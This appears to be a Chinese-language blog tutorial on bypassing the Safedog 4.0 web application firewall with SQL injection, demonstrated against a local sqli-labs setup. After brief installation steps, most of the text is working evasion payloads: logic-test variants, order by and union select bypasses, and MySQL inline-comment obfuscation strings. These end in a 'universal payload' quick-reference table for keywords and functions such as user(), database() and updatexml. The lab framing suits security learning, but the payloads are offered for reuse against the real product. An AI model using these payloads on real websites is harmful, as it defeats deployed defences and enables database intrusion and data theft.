windows下過安全狗
最近想著把過waf相關的整理一下,本次主要以安全狗4.0為例進行演示
準備工作
安全狗官網:
http://free.safedog.cn/install_desc_website.html
環境:Windows10+phpstudy+sqli-labs+安全狗v4.0
安裝工作
1.下載安全狗
2.檢視Apache服務是否存在
在這之前要先檢視服務裡有沒有Apache,一般是用PHPstudy整合環境測試的話,是沒有這個服務的,需要自己手動新增一下 ,cd到phpstudy的apache2/bin目錄,cmd執行:
httpd.exe -k install -n apache2.4 #apache2.4就是你的服務名,可以自定義
安裝之後,看到服務名就出現
3.安裝網站安全狗
然後安裝安全狗就只需要填寫一個服務名(就是你剛剛設定的那個名字)以及選擇Apache的版本
如何確定Apache的版本
httpd.exe -v
然後就好了
繞waf sql
1.判斷注入點
一般都是先判斷是數字型還是字元型(這裡我就不過多描述),主要是試試如何繞and 1=1,因為and 1=1和and 1=2的目的就是為了驗證是否存在可能注入點,如果被過濾掉,就用邏輯語句測試(有時候1=1不行可以試-1=-1,-1=-2)
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20and%20-1=%27-1
頁面正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20and%20-1=%27-2
頁面錯誤
所以總結,一般大致就這幾種
1' and -1='-1
-1'||-1='-1
-1'/*!14400or*/1=1%23
=替換成>、<、like、regexp同樣可以繞過
2.order by繞過
1.利用%23%0a繞
1' order%23%0Aby --+
2.內聯註釋繞過
/*!order /*!/*/**/by*/3-- - /*!order /*/*%/**/by*/3-- - /*!order /*!/*/**//**/by*/3-- - /*!order /*!/*/**//*/**/by*/3-- -
/*!order /*!/*/**/*/by/**/3--+
3.union select繞過
-1'/*!union/*!/*/**/*/select/**/1,2,3 -- -
4.系統函式繞過
單獨的括號和函式名都不會檢測,思路就是分開函式名和括號就行
5.函式名繞過
在報錯注入的時候可以用這個格式繞過
/*!extractvalue/*!/*/**/*/
/*!updatexml/*!/*/**/*/
6.萬能的payload
針對兩個關鍵字連用或者函式
/*!union/*!/*/**/*/select/**/
/*!database/*!/*/**/*/()/**/
/*!order/*!/*/**/*/by/**/
針對單獨的一個關鍵字
/*!union/*!/*/**/*/
/*!updatexml/*!/*/**/*/
/*!extractvalue/*!/*/**/*/
快速查詢
= /*!*/=/*!*/
order /*!order/*!/*/**/*/
and /*!and/*!/*/**/*/
or /*!or/*!/*/**/*/
union /*!union/*!/*/**/*/
select /*!select/*!/*/**/*/
user() /*!user/*!/*/**/*/()/**/
database() /*!database/*!/*/**/*/()/**/
version() /*!version/*!/*/**/*/()/**/
session_user() /*!session_user/*!/*/**/*/()/**/
extractvalue /*!extractvalue/*!/*/**/*/()/**/
updatexml /*!updatexml/*!/*/**/*/